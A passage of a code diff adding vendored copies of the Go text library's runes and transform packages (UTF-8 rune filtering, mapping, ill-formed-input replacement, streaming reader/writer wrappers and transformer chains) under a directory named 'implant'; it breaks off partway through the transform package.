+// Copyright 2015 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+package runes
+
+import (
+	"unicode/utf8"
+
+	"golang.org/x/text/transform"
+)
+
+// Note: below we pass invalid UTF-8 to the tIn and tNotIn transformers as is.
+// This is done for various reasons:
+// - To retain the semantics of the Nop transformer: if input is passed to a Nop
+//   one would expect it to be unchanged.
+// - It would be very expensive to pass a converted RuneError to a transformer:
+//   a transformer might need more source bytes after RuneError, meaning that
+//   the only way to pass it safely is to create a new buffer and manage the
+//   intermingling of RuneErrors and normal input.
+// - Many transformers leave ill-formed UTF-8 as is, so this is not
+//   inconsistent. Generally ill-formed UTF-8 is only replaced if it is a
+//   logical consequence of the operation (as for Map) or if it otherwise would
+//   pose security concerns (as for Remove).
+// - An alternative would be to return an error on ill-formed UTF-8, but this
+//   would be inconsistent with other operations.
+
+// If returns a transformer that applies tIn to consecutive runes for which
+// s.Contains(r) and tNotIn to consecutive runes for which !s.Contains(r). Reset
+// is called on tIn and tNotIn at the start of each run. A Nop transformer will
+// substitute a nil value passed to tIn or tNotIn. Invalid UTF-8 is translated
+// to RuneError to determine which transformer to apply, but is passed as is to
+// the respective transformer.
+func If(s Set, tIn, tNotIn transform.Transformer) Transformer {
+	if tIn == nil && tNotIn == nil {
+		return Transformer{transform.Nop}
+	}
+	if tIn == nil {
+		tIn = transform.Nop
+	}
+	if tNotIn == nil {
+		tNotIn = transform.Nop
+	}
+	sIn, ok := tIn.(transform.SpanningTransformer)
+	if !ok {
+		sIn = dummySpan{tIn}
+	}
+	sNotIn, ok := tNotIn.(transform.SpanningTransformer)
+	if !ok {
+		sNotIn = dummySpan{tNotIn}
+	}
+
+	a := &cond{
+		tIn:    sIn,
+		tNotIn: sNotIn,
+		f:      s.Contains,
+	}
+	a.Reset()
+	return Transformer{a}
+}
+
+type dummySpan struct{ transform.Transformer }
+
+func (d dummySpan) Span(src []byte, atEOF bool) (n int, err error) {
+	return 0, transform.ErrEndOfSpan
+}
+
+type cond struct {
+	tIn, tNotIn transform.SpanningTransformer
+	f           func(rune) bool
+	check       func(rune) bool               // current check to perform
+	t           transform.SpanningTransformer // current transformer to use
+}
+
+// Reset implements transform.Transformer.
+func (t *cond) Reset() {
+	t.check = t.is
+	t.t = t.tIn
+	t.t.Reset() // notIn will be reset on first usage.
+}
+
+func (t *cond) is(r rune) bool {
+	if t.f(r) {
+		return true
+	}
+	t.check = t.isNot
+	t.t = t.tNotIn
+	t.tNotIn.Reset()
+	return false
+}
+
+func (t *cond) isNot(r rune) bool {
+	if !t.f(r) {
+		return true
+	}
+	t.check = t.is
+	t.t = t.tIn
+	t.tIn.Reset()
+	return false
+}
+
+// This implementation of Span doesn't help all too much, but it needs to be
+// there to satisfy this package's Transformer interface.
+// TODO: there are certainly room for improvements, though. For example, if
+// t.t == transform.Nop (which will a common occurrence) it will save a bundle
+// to special-case that loop.
+func (t *cond) Span(src []byte, atEOF bool) (n int, err error) {
+	p := 0
+	for n < len(src) && err == nil {
+		// Don't process too much at a time as the Spanner that will be
+		// called on this block may terminate early.
+		const maxChunk = 4096
+		max := len(src)
+		if v := n + maxChunk; v < max {
+			max = v
+		}
+		atEnd := false
+		size := 0
+		current := t.t
+		for ; p < max; p += size {
+			r := rune(src[p])
+			if r < utf8.RuneSelf {
+				size = 1
+			} else if r, size = utf8.DecodeRune(src[p:]); size == 1 {
+				if !atEOF && !utf8.FullRune(src[p:]) {
+					err = transform.ErrShortSrc
+					break
+				}
+			}
+			if !t.check(r) {
+				// The next rune will be the start of a new run.
+				atEnd = true
+				break
+			}
+		}
+		n2, err2 := current.Span(src[n:p], atEnd || (atEOF && p == len(src)))
+		n += n2
+		if err2 != nil {
+			return n, err2
+		}
+		// At this point either err != nil or t.check will pass for the rune at p.
+		p = n + size
+	}
+	return n, err
+}
+
+func (t *cond) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	p := 0
+	for nSrc < len(src) && err == nil {
+		// Don't process too much at a time, as the work might be wasted if the
+		// destination buffer isn't large enough to hold the result or a
+		// transform returns an error early.
+		const maxChunk = 4096
+		max := len(src)
+		if n := nSrc + maxChunk; n < len(src) {
+			max = n
+		}
+		atEnd := false
+		size := 0
+		current := t.t
+		for ; p < max; p += size {
+			r := rune(src[p])
+			if r < utf8.RuneSelf {
+				size = 1
+			} else if r, size = utf8.DecodeRune(src[p:]); size == 1 {
+				if !atEOF && !utf8.FullRune(src[p:]) {
+					err = transform.ErrShortSrc
+					break
+				}
+			}
+			if !t.check(r) {
+				// The next rune will be the start of a new run.
+				atEnd = true
+				break
+			}
+		}
+		nDst2, nSrc2, err2 := current.Transform(dst[nDst:], src[nSrc:p], atEnd || (atEOF && p == len(src)))
+		nDst += nDst2
+		nSrc += nSrc2
+		if err2 != nil {
+			return nDst, nSrc, err2
+		}
+		// At this point either err != nil or t.check will pass for the rune at p.
+		p = nSrc + size
+	}
+	return nDst, nSrc, err
+}

implant/vendor/golang.org/x/text/runes/runes.go

@@ -0,0 +1,355 @@
+// Copyright 2014 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package runes provide transforms for UTF-8 encoded text.
+package runes // import "golang.org/x/text/runes"
+
+import (
+	"unicode"
+	"unicode/utf8"
+
+	"golang.org/x/text/transform"
+)
+
+// A Set is a collection of runes.
+type Set interface {
+	// Contains returns true if r is contained in the set.
+	Contains(r rune) bool
+}
+
+type setFunc func(rune) bool
+
+func (s setFunc) Contains(r rune) bool {
+	return s(r)
+}
+
+// Note: using funcs here instead of wrapping types result in cleaner
+// documentation and a smaller API.
+
+// In creates a Set with a Contains method that returns true for all runes in
+// the given RangeTable.
+func In(rt *unicode.RangeTable) Set {
+	return setFunc(func(r rune) bool { return unicode.Is(rt, r) })
+}
+
+// In creates a Set with a Contains method that returns true for all runes not
+// in the given RangeTable.
+func NotIn(rt *unicode.RangeTable) Set {
+	return setFunc(func(r rune) bool { return !unicode.Is(rt, r) })
+}
+
+// Predicate creates a Set with a Contains method that returns f(r).
+func Predicate(f func(rune) bool) Set {
+	return setFunc(f)
+}
+
+// Transformer implements the transform.Transformer interface.
+type Transformer struct {
+	t transform.SpanningTransformer
+}
+
+func (t Transformer) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	return t.t.Transform(dst, src, atEOF)
+}
+
+func (t Transformer) Span(b []byte, atEOF bool) (n int, err error) {
+	return t.t.Span(b, atEOF)
+}
+
+func (t Transformer) Reset() { t.t.Reset() }
+
+// Bytes returns a new byte slice with the result of converting b using t.  It
+// calls Reset on t. It returns nil if any error was found. This can only happen
+// if an error-producing Transformer is passed to If.
+func (t Transformer) Bytes(b []byte) []byte {
+	b, _, err := transform.Bytes(t, b)
+	if err != nil {
+		return nil
+	}
+	return b
+}
+
+// String returns a string with the result of converting s using t. It calls
+// Reset on t. It returns the empty string if any error was found. This can only
+// happen if an error-producing Transformer is passed to If.
+func (t Transformer) String(s string) string {
+	s, _, err := transform.String(t, s)
+	if err != nil {
+		return ""
+	}
+	return s
+}
+
+// TODO:
+// - Copy: copying strings and bytes in whole-rune units.
+// - Validation (maybe)
+// - Well-formed-ness (maybe)
+
+const runeErrorString = string(utf8.RuneError)
+
+// Remove returns a Transformer that removes runes r for which s.Contains(r).
+// Illegal input bytes are replaced by RuneError before being passed to f.
+func Remove(s Set) Transformer {
+	if f, ok := s.(setFunc); ok {
+		// This little trick cuts the running time of BenchmarkRemove for sets
+		// created by Predicate roughly in half.
+		// TODO: special-case RangeTables as well.
+		return Transformer{remove(f)}
+	}
+	return Transformer{remove(s.Contains)}
+}
+
+// TODO: remove transform.RemoveFunc.
+
+type remove func(r rune) bool
+
+func (remove) Reset() {}
+
+// Span implements transform.Spanner.
+func (t remove) Span(src []byte, atEOF bool) (n int, err error) {
+	for r, size := rune(0), 0; n < len(src); {
+		if r = rune(src[n]); r < utf8.RuneSelf {
+			size = 1
+		} else if r, size = utf8.DecodeRune(src[n:]); size == 1 {
+			// Invalid rune.
+			if !atEOF && !utf8.FullRune(src[n:]) {
+				err = transform.ErrShortSrc
+			} else {
+				err = transform.ErrEndOfSpan
+			}
+			break
+		}
+		if t(r) {
+			err = transform.ErrEndOfSpan
+			break
+		}
+		n += size
+	}
+	return
+}
+
+// Transform implements transform.Transformer.
+func (t remove) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	for r, size := rune(0), 0; nSrc < len(src); {
+		if r = rune(src[nSrc]); r < utf8.RuneSelf {
+			size = 1
+		} else if r, size = utf8.DecodeRune(src[nSrc:]); size == 1 {
+			// Invalid rune.
+			if !atEOF && !utf8.FullRune(src[nSrc:]) {
+				err = transform.ErrShortSrc
+				break
+			}
+			// We replace illegal bytes with RuneError. Not doing so might
+			// otherwise turn a sequence of invalid UTF-8 into valid UTF-8.
+			// The resulting byte sequence may subsequently contain runes
+			// for which t(r) is true that were passed unnoticed.
+			if !t(utf8.RuneError) {
+				if nDst+3 > len(dst) {
+					err = transform.ErrShortDst
+					break
+				}
+				dst[nDst+0] = runeErrorString[0]
+				dst[nDst+1] = runeErrorString[1]
+				dst[nDst+2] = runeErrorString[2]
+				nDst += 3
+			}
+			nSrc++
+			continue
+		}
+		if t(r) {
+			nSrc += size
+			continue
+		}
+		if nDst+size > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		for i := 0; i < size; i++ {
+			dst[nDst] = src[nSrc]
+			nDst++
+			nSrc++
+		}
+	}
+	return
+}
+
+// Map returns a Transformer that maps the runes in the input using the given
+// mapping. Illegal bytes in the input are converted to utf8.RuneError before
+// being passed to the mapping func.
+func Map(mapping func(rune) rune) Transformer {
+	return Transformer{mapper(mapping)}
+}
+
+type mapper func(rune) rune
+
+func (mapper) Reset() {}
+
+// Span implements transform.Spanner.
+func (t mapper) Span(src []byte, atEOF bool) (n int, err error) {
+	for r, size := rune(0), 0; n < len(src); n += size {
+		if r = rune(src[n]); r < utf8.RuneSelf {
+			size = 1
+		} else if r, size = utf8.DecodeRune(src[n:]); size == 1 {
+			// Invalid rune.
+			if !atEOF && !utf8.FullRune(src[n:]) {
+				err = transform.ErrShortSrc
+			} else {
+				err = transform.ErrEndOfSpan
+			}
+			break
+		}
+		if t(r) != r {
+			err = transform.ErrEndOfSpan
+			break
+		}
+	}
+	return n, err
+}
+
+// Transform implements transform.Transformer.
+func (t mapper) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	var replacement rune
+	var b [utf8.UTFMax]byte
+
+	for r, size := rune(0), 0; nSrc < len(src); {
+		if r = rune(src[nSrc]); r < utf8.RuneSelf {
+			if replacement = t(r); replacement < utf8.RuneSelf {
+				if nDst == len(dst) {
+					err = transform.ErrShortDst
+					break
+				}
+				dst[nDst] = byte(replacement)
+				nDst++
+				nSrc++
+				continue
+			}
+			size = 1
+		} else if r, size = utf8.DecodeRune(src[nSrc:]); size == 1 {
+			// Invalid rune.
+			if !atEOF && !utf8.FullRune(src[nSrc:]) {
+				err = transform.ErrShortSrc
+				break
+			}
+
+			if replacement = t(utf8.RuneError); replacement == utf8.RuneError {
+				if nDst+3 > len(dst) {
+					err = transform.ErrShortDst
+					break
+				}
+				dst[nDst+0] = runeErrorString[0]
+				dst[nDst+1] = runeErrorString[1]
+				dst[nDst+2] = runeErrorString[2]
+				nDst += 3
+				nSrc++
+				continue
+			}
+		} else if replacement = t(r); replacement == r {
+			if nDst+size > len(dst) {
+				err = transform.ErrShortDst
+				break
+			}
+			for i := 0; i < size; i++ {
+				dst[nDst] = src[nSrc]
+				nDst++
+				nSrc++
+			}
+			continue
+		}
+
+		n := utf8.EncodeRune(b[:], replacement)
+
+		if nDst+n > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		for i := 0; i < n; i++ {
+			dst[nDst] = b[i]
+			nDst++
+		}
+		nSrc += size
+	}
+	return
+}
+
+// ReplaceIllFormed returns a transformer that replaces all input bytes that are
+// not part of a well-formed UTF-8 code sequence with utf8.RuneError.
+func ReplaceIllFormed() Transformer {
+	return Transformer{&replaceIllFormed{}}
+}
+
+type replaceIllFormed struct{ transform.NopResetter }
+
+func (t replaceIllFormed) Span(src []byte, atEOF bool) (n int, err error) {
+	for n < len(src) {
+		// ASCII fast path.
+		if src[n] < utf8.RuneSelf {
+			n++
+			continue
+		}
+
+		r, size := utf8.DecodeRune(src[n:])
+
+		// Look for a valid non-ASCII rune.
+		if r != utf8.RuneError || size != 1 {
+			n += size
+			continue
+		}
+
+		// Look for short source data.
+		if !atEOF && !utf8.FullRune(src[n:]) {
+			err = transform.ErrShortSrc
+			break
+		}
+
+		// We have an invalid rune.
+		err = transform.ErrEndOfSpan
+		break
+	}
+	return n, err
+}
+
+func (t replaceIllFormed) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	for nSrc < len(src) {
+		// ASCII fast path.
+		if r := src[nSrc]; r < utf8.RuneSelf {
+			if nDst == len(dst) {
+				err = transform.ErrShortDst
+				break
+			}
+			dst[nDst] = r
+			nDst++
+			nSrc++
+			continue
+		}
+
+		// Look for a valid non-ASCII rune.
+		if _, size := utf8.DecodeRune(src[nSrc:]); size != 1 {
+			if size != copy(dst[nDst:], src[nSrc:nSrc+size]) {
+				err = transform.ErrShortDst
+				break
+			}
+			nDst += size
+			nSrc += size
+			continue
+		}
+
+		// Look for short source data.
+		if !atEOF && !utf8.FullRune(src[nSrc:]) {
+			err = transform.ErrShortSrc
+			break
+		}
+
+		// We have an invalid rune.
+		if nDst+3 > len(dst) {
+			err = transform.ErrShortDst
+			break
+		}
+		dst[nDst+0] = runeErrorString[0]
+		dst[nDst+1] = runeErrorString[1]
+		dst[nDst+2] = runeErrorString[2]
+		nDst += 3
+		nSrc++
+	}
+	return nDst, nSrc, err
+}

implant/vendor/golang.org/x/text/transform/transform.go

@@ -0,0 +1,709 @@
+// Copyright 2013 The Go Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style
+// license that can be found in the LICENSE file.
+
+// Package transform provides reader and writer wrappers that transform the
+// bytes passing through as well as various transformations. Example
+// transformations provided by other packages include normalization and
+// conversion between character sets.
+package transform // import "golang.org/x/text/transform"
+
+import (
+	"bytes"
+	"errors"
+	"io"
+	"unicode/utf8"
+)
+
+var (
+	// ErrShortDst means that the destination buffer was too short to
+	// receive all of the transformed bytes.
+	ErrShortDst = errors.New("transform: short destination buffer")
+
+	// ErrShortSrc means that the source buffer has insufficient data to
+	// complete the transformation.
+	ErrShortSrc = errors.New("transform: short source buffer")
+
+	// ErrEndOfSpan means that the input and output (the transformed input)
+	// are not identical.
+	ErrEndOfSpan = errors.New("transform: input and output are not identical")
+
+	// errInconsistentByteCount means that Transform returned success (nil
+	// error) but also returned nSrc inconsistent with the src argument.
+	errInconsistentByteCount = errors.New("transform: inconsistent byte count returned")
+
+	// errShortInternal means that an internal buffer is not large enough
+	// to make progress and the Transform operation must be aborted.
+	errShortInternal = errors.New("transform: short internal buffer")
+)
+
+// Transformer transforms bytes.
+type Transformer interface {
+	// Transform writes to dst the transformed bytes read from src, and
+	// returns the number of dst bytes written and src bytes read. The
+	// atEOF argument tells whether src represents the last bytes of the
+	// input.
+	//
+	// Callers should always process the nDst bytes produced and account
+	// for the nSrc bytes consumed before considering the error err.
+	//
+	// A nil error means that all of the transformed bytes (whether freshly
+	// transformed from src or left over from previous Transform calls)
+	// were written to dst. A nil error can be returned regardless of
+	// whether atEOF is true. If err is nil then nSrc must equal len(src);
+	// the converse is not necessarily true.
+	//
+	// ErrShortDst means that dst was too short to receive all of the
+	// transformed bytes. ErrShortSrc means that src had insufficient data
+	// to complete the transformation. If both conditions apply, then
+	// either error may be returned. Other than the error conditions listed
+	// here, implementations are free to report other errors that arise.
+	Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error)
+
+	// Reset resets the state and allows a Transformer to be reused.
+	Reset()
+}
+
+// SpanningTransformer extends the Transformer interface with a Span method
+// that determines how much of the input already conforms to the Transformer.
+type SpanningTransformer interface {
+	Transformer
+
+	// Span returns a position in src such that transforming src[:n] results in
+	// identical output src[:n] for these bytes. It does not necessarily return
+	// the largest such n. The atEOF argument tells whether src represents the
+	// last bytes of the input.
+	//
+	// Callers should always account for the n bytes consumed before
+	// considering the error err.
+	//
+	// A nil error means that all input bytes are known to be identical to the
+	// output produced by the Transformer. A nil error can be returned
+	// regardless of whether atEOF is true. If err is nil, then n must
+	// equal len(src); the converse is not necessarily true.
+	//
+	// ErrEndOfSpan means that the Transformer output may differ from the
+	// input after n bytes. Note that n may be len(src), meaning that the output
+	// would contain additional bytes after otherwise identical output.
+	// ErrShortSrc means that src had insufficient data to determine whether the
+	// remaining bytes would change. Other than the error conditions listed
+	// here, implementations are free to report other errors that arise.
+	//
+	// Calling Span can modify the Transformer state as a side effect. In
+	// effect, it does the transformation just as calling Transform would, only
+	// without copying to a destination buffer and only up to a point it can
+	// determine the input and output bytes are the same. This is obviously more
+	// limited than calling Transform, but can be more efficient in terms of
+	// copying and allocating buffers. Calls to Span and Transform may be
+	// interleaved.
+	Span(src []byte, atEOF bool) (n int, err error)
+}
+
+// NopResetter can be embedded by implementations of Transformer to add a nop
+// Reset method.
+type NopResetter struct{}
+
+// Reset implements the Reset method of the Transformer interface.
+func (NopResetter) Reset() {}
+
+// Reader wraps another io.Reader by transforming the bytes read.
+type Reader struct {
+	r   io.Reader
+	t   Transformer
+	err error
+
+	// dst[dst0:dst1] contains bytes that have been transformed by t but
+	// not yet copied out via Read.
+	dst        []byte
+	dst0, dst1 int
+
+	// src[src0:src1] contains bytes that have been read from r but not
+	// yet transformed through t.
+	src        []byte
+	src0, src1 int
+
+	// transformComplete is whether the transformation is complete,
+	// regardless of whether or not it was successful.
+	transformComplete bool
+}
+
+const defaultBufSize = 4096
+
+// NewReader returns a new Reader that wraps r by transforming the bytes read
+// via t. It calls Reset on t.
+func NewReader(r io.Reader, t Transformer) *Reader {
+	t.Reset()
+	return &Reader{
+		r:   r,
+		t:   t,
+		dst: make([]byte, defaultBufSize),
+		src: make([]byte, defaultBufSize),
+	}
+}
+
+// Read implements the io.Reader interface.
+func (r *Reader) Read(p []byte) (int, error) {
+	n, err := 0, error(nil)
+	for {
+		// Copy out any transformed bytes and return the final error if we are done.
+		if r.dst0 != r.dst1 {
+			n = copy(p, r.dst[r.dst0:r.dst1])
+			r.dst0 += n
+			if r.dst0 == r.dst1 && r.transformComplete {
+				return n, r.err
+			}
+			return n, nil
+		} else if r.transformComplete {
+			return 0, r.err
+		}
+
+		// Try to transform some source bytes, or to flush the transformer if we
+		// are out of source bytes. We do this even if r.r.Read returned an error.
+		// As the io.Reader documentation says, "process the n > 0 bytes returned
+		// before considering the error".
+		if r.src0 != r.src1 || r.err != nil {
+			r.dst0 = 0
+			r.dst1, n, err = r.t.Transform(r.dst, r.src[r.src0:r.src1], r.err == io.EOF)
+			r.src0 += n
+
+			switch {
+			case err == nil:
+				if r.src0 != r.src1 {
+					r.err = errInconsistentByteCount
+				}
+				// The Transform call was successful; we are complete if we
+				// cannot read more bytes into src.
+				r.transformComplete = r.err != nil
+				continue
+			case err == ErrShortDst && (r.dst1 != 0 || n != 0):
+				// Make room in dst by copying out, and try again.
+				continue
+			case err == ErrShortSrc && r.src1-r.src0 != len(r.src) && r.err == nil:
+				// Read more bytes into src via the code below, and try again.
+			default:
+				r.transformComplete = true
+				// The reader error (r.err) takes precedence over the
+				// transformer error (err) unless r.err is nil or io.EOF.
+				if r.err == nil || r.err == io.EOF {
+					r.err = err
+				}
+				continue
+			}
+		}
+
+		// Move any untransformed source bytes to the start of the buffer
+		// and read more bytes.
+		if r.src0 != 0 {
+			r.src0, r.src1 = 0, copy(r.src, r.src[r.src0:r.src1])
+		}
+		n, r.err = r.r.Read(r.src[r.src1:])
+		r.src1 += n
+	}
+}
+
+// TODO: implement ReadByte (and ReadRune??).
+
+// Writer wraps another io.Writer by transforming the bytes read.
+// The user needs to call Close to flush unwritten bytes that may
+// be buffered.
+type Writer struct {
+	w   io.Writer
+	t   Transformer
+	dst []byte
+
+	// src[:n] contains bytes that have not yet passed through t.
+	src []byte
+	n   int
+}
+
+// NewWriter returns a new Writer that wraps w by transforming the bytes written
+// via t. It calls Reset on t.
+func NewWriter(w io.Writer, t Transformer) *Writer {
+	t.Reset()
+	return &Writer{
+		w:   w,
+		t:   t,
+		dst: make([]byte, defaultBufSize),
+		src: make([]byte, defaultBufSize),
+	}
+}
+
+// Write implements the io.Writer interface. If there are not enough
+// bytes available to complete a Transform, the bytes will be buffered
+// for the next write. Call Close to convert the remaining bytes.
+func (w *Writer) Write(data []byte) (n int, err error) {
+	src := data
+	if w.n > 0 {
+		// Append bytes from data to the last remainder.
+		// TODO: limit the amount copied on first try.
+		n = copy(w.src[w.n:], data)
+		w.n += n
+		src = w.src[:w.n]
+	}
+	for {
+		nDst, nSrc, err := w.t.Transform(w.dst, src, false)
+		if _, werr := w.w.Write(w.dst[:nDst]); werr != nil {
+			return n, werr
+		}
+		src = src[nSrc:]
+		if w.n == 0 {
+			n += nSrc
+		} else if len(src) <= n {
+			// Enough bytes from w.src have been consumed. We make src point
+			// to data instead to reduce the copying.
+			w.n = 0
+			n -= len(src)
+			src = data[n:]
+			if n < len(data) && (err == nil || err == ErrShortSrc) {
+				continue
+			}
+		}
+		switch err {
+		case ErrShortDst:
+			// This error is okay as long as we are making progress.
+			if nDst > 0 || nSrc > 0 {
+				continue
+			}
+		case ErrShortSrc:
+			if len(src) < len(w.src) {
+				m := copy(w.src, src)
+				// If w.n > 0, bytes from data were already copied to w.src and n
+				// was already set to the number of bytes consumed.
+				if w.n == 0 {
+					n += m
+				}
+				w.n = m
+				err = nil
+			} else if nDst > 0 || nSrc > 0 {
+				// Not enough buffer to store the remainder. Keep processing as
+				// long as there is progress. Without this case, transforms that
+				// require a lookahead larger than the buffer may result in an
+				// error. This is not something one may expect to be common in
+				// practice, but it may occur when buffers are set to small
+				// sizes during testing.
+				continue
+			}
+		case nil:
+			if w.n > 0 {
+				err = errInconsistentByteCount
+			}
+		}
+		return n, err
+	}
+}
+
+// Close implements the io.Closer interface.
+func (w *Writer) Close() error {
+	src := w.src[:w.n]
+	for {
+		nDst, nSrc, err := w.t.Transform(w.dst, src, true)
+		if _, werr := w.w.Write(w.dst[:nDst]); werr != nil {
+			return werr
+		}
+		if err != ErrShortDst {
+			return err
+		}
+		src = src[nSrc:]
+	}
+}
+
+type nop struct{ NopResetter }
+
+func (nop) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	n := copy(dst, src)
+	if n < len(src) {
+		err = ErrShortDst
+	}
+	return n, n, err
+}
+
+func (nop) Span(src []byte, atEOF bool) (n int, err error) {
+	return len(src), nil
+}
+
+type discard struct{ NopResetter }
+
+func (discard) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	return 0, len(src), nil
+}
+
+var (
+	// Discard is a Transformer for which all Transform calls succeed
+	// by consuming all bytes and writing nothing.
+	Discard Transformer = discard{}
+
+	// Nop is a SpanningTransformer that copies src to dst.
+	Nop SpanningTransformer = nop{}
+)
+
+// chain is a sequence of links. A chain with N Transformers has N+1 links and
+// N+1 buffers. Of those N+1 buffers, the first and last are the src and dst
+// buffers given to chain.Transform and the middle N-1 buffers are intermediate
+// buffers owned by the chain. The i'th link transforms bytes from the i'th
+// buffer chain.link[i].b at read offset chain.link[i].p to the i+1'th buffer
+// chain.link[i+1].b at write offset chain.link[i+1].n, for i in [0, N).
+type chain struct {
+	link []link
+	err  error
+	// errStart is the index at which the error occurred plus 1. Processing
+	// errStart at this level at the next call to Transform. As long as
+	// errStart > 0, chain will not consume any more source bytes.
+	errStart int
+}
+
+func (c *chain) fatalError(errIndex int, err error) {
+	if i := errIndex + 1; i > c.errStart {
+		c.errStart = i
+		c.err = err
+	}
+}
+
+type link struct {
+	t Transformer
+	// b[p:n] holds the bytes to be transformed by t.
+	b []byte
+	p int
+	n int
+}
+
+func (l *link) src() []byte {
+	return l.b[l.p:l.n]
+}
+
+func (l *link) dst() []byte {
+	return l.b[l.n:]
+}
+
+// Chain returns a Transformer that applies t in sequence.
+func Chain(t ...Transformer) Transformer {
+	if len(t) == 0 {
+		return nop{}
+	}
+	c := &chain{link: make([]link, len(t)+1)}
+	for i, tt := range t {
+		c.link[i].t = tt
+	}
+	// Allocate intermediate buffers.
+	b := make([][defaultBufSize]byte, len(t)-1)
+	for i := range b {
+		c.link[i+1].b = b[i][:]
+	}
+	return c
+}
+
+// Reset resets the state of Chain. It calls Reset on all the Transformers.
+func (c *chain) Reset() {
+	for i, l := range c.link {
+		if l.t != nil {
+			l.t.Reset()
+		}
+		c.link[i].p, c.link[i].n = 0, 0
+	}
+}
+
+// TODO: make chain use Span (is going to be fun to implement!)
+
+// Transform applies the transformers of c in sequence.
+func (c *chain) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	// Set up src and dst in the chain.
+	srcL := &c.link[0]
+	dstL := &c.link[len(c.link)-1]
+	srcL.b, srcL.p, srcL.n = src, 0, len(src)
+	dstL.b, dstL.n = dst, 0
+	var lastFull, needProgress bool // for detecting progress
+
+	// i is the index of the next Transformer to apply, for i in [low, high].
+	// low is the lowest index for which c.link[low] may still produce bytes.
+	// high is the highest index for which c.link[high] has a Transformer.
+	// The error returned by Transform determines whether to increase or
+	// decrease i. We try to completely fill a buffer before converting it.
+	for low, i, high := c.errStart, c.errStart, len(c.link)-2; low <= i && i <= high; {
+		in, out := &c.link[i], &c.link[i+1]
+		nDst, nSrc, err0 := in.t.Transform(out.dst(), in.src(), atEOF && low == i)
+		out.n += nDst
+		in.p += nSrc
+		if i > 0 && in.p == in.n {
+			in.p, in.n = 0, 0
+		}
+		needProgress, lastFull = lastFull, false
+		switch err0 {
+		case ErrShortDst:
+			// Process the destination buffer next. Return if we are already
+			// at the high index.
+			if i == high {
+				return dstL.n, srcL.p, ErrShortDst
+			}
+			if out.n != 0 {
+				i++
+				// If the Transformer at the next index is not able to process any
+				// source bytes there is nothing that can be done to make progress
+				// and the bytes will remain unprocessed. lastFull is used to
+				// detect this and break out of the loop with a fatal error.
+				lastFull = true
+				continue
+			}
+			// The destination buffer was too small, but is completely empty.
+			// Return a fatal error as this transformation can never complete.
+			c.fatalError(i, errShortInternal)
+		case ErrShortSrc:
+			if i == 0 {
+				// Save ErrShortSrc in err. All other errors take precedence.
+				err = ErrShortSrc
+				break
+			}
+			// Source bytes were depleted before filling up the destination buffer.
+			// Verify we made some progress, move the remaining bytes to the errStart
+			// and try to get more source bytes.
+			if needProgress && nSrc == 0 || in.n-in.p == len(in.b) {
+				// There were not enough source bytes to proceed while the source
+				// buffer cannot hold any more bytes. Return a fatal error as this
+				// transformation can never complete.
+				c.fatalError(i, errShortInternal)
+				break
+			}
+			// in.b is an internal buffer and we can make progress.
+			in.p, in.n = 0, copy(in.b, in.src())
+			fallthrough
+		case nil:
+			// if i == low, we have depleted the bytes at index i or any lower levels.
+			// In that case we increase low and i. In all other cases we decrease i to
+			// fetch more bytes before proceeding to the next index.
+			if i > low {
+				i--
+				continue
+			}
+		default:
+			c.fatalError(i, err0)
+		}
+		// Exhausted level low or fatal error: increase low and continue
+		// to process the bytes accepted so far.
+		i++
+		low = i
+	}
+
+	// If c.errStart > 0, this means we found a fatal error.  We will clear
+	// all upstream buffers. At this point, no more progress can be made
+	// downstream, as Transform would have bailed while handling ErrShortDst.
+	if c.errStart > 0 {
+		for i := 1; i < c.errStart; i++ {
+			c.link[i].p, c.link[i].n = 0, 0
+		}
+		err, c.errStart, c.err = c.err, 0, nil
+	}
+	return dstL.n, srcL.p, err
+}
+
+// Deprecated: Use runes.Remove instead.
+func RemoveFunc(f func(r rune) bool) Transformer {
+	return removeF(f)
+}
+
+type removeF func(r rune) bool
+
+func (removeF) Reset() {}
+
+// Transform implements the Transformer interface.
+func (t removeF) Transform(dst, src []byte, atEOF bool) (nDst, nSrc int, err error) {
+	for r, sz := rune(0), 0; len(src) > 0; src = src[sz:] {
+
+		if r = rune(src[0]); r < utf8.RuneSelf {
+			sz = 1
+		} else {
+			r, sz = utf8.DecodeRune(src)
+
+			if sz == 1 {
+				// Invalid rune.
+				if !atEOF && !utf8.FullRune(src) {
+					err = ErrShortSrc
+					break
+				}
+				// We replace illegal bytes with RuneError. Not doing so might
+				// otherwise turn a sequence of invalid UTF-8 into valid UTF-8.
+				// The resulting byte sequence may subsequently contain runes
+				// for which t(r) is true that were passed unnoticed.
+				if !t(r) {
+					if nDst+3 > len(dst) {
+						err = ErrShortDst
+						break
+					}
+					nDst += copy(dst[nDst:], "\uFFFD")
+				}
+				nSrc++
+				continue
+			}
+		}
+
+		if !t(r) {
+			if nDst+sz > len(dst) {
+				err = ErrShortDst
+				break
+			}
+			nDst += copy(dst[nDst:], src[:sz])
+		}
+		nSrc += sz
+	}
+	return
+}
+
+// grow returns a new []byte that is longer than b, and copies the first n bytes
+// of b to the start of the new slice.
+func grow(b []byte, n int) []byte {
+	m := len(b)
+	if m <= 32 {
+		m = 64
+	} else if m <= 256 {
+		m *= 2
+	} else {
+		m += m >> 1
+	}
+	buf := make([]byte, m)
+	copy(buf, b[:n])
+	return buf
+}
+
+const initialBufSize = 128
+
+// String returns a string with the result of converting s[:n] using t, where
+// n <= len(s). If err == nil, n will be len(s). It calls Reset on t.
+func String(t Transformer, s string) (result string, n int, err error) {
+	t.Reset()
+	if s == "" {
+		// Fast path for the common case for empty input. Results in about a
+		// 86% reduction of running time for BenchmarkStringLowerEmpty.
+		if _, _, err := t.Transform(nil, nil, true); err == nil {
+			return "", 0, nil
+		}
+	}
+
